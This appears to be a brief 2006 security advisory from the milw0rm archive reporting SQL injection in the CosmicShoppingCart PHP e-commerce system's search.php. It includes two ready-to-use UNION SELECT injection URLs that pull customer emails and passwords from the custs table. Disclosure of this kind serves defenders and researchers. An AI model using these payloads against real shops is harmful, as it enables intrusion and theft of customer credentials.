12 lines
No EOL
590 B
Text
12 lines
No EOL
590 B
Text
Software: CosmicShoppingCart (www.cosmicphp.com)
|
|
Risk: Medium
|
|
Discovered by: Vympel (Marcelo Almeida)
|
|
Background: CosmicShoppingCart is a PHP / MySQL e-commerce system. It is a fully customizable, shopping cart designed.
|
|
|
|
SQL injections have been found, they could be exploited by users to retrieve the passwords of the admin.
|
|
|
|
Examples:
|
|
cosmicshop/search.php?max=-1%20UNION%20SELECT%201,1,1,cust_password,1,1,1,1,1%20FROM%20custs/*
|
|
cosmicshop/search.php?max='2'%20UNION%20SELECT%20'a','a','a',cust_email,cust_password,'abc',1,'a','a'%20FROM%20custs--
|
|
|
|
# milw0rm.com [2006-05-28] |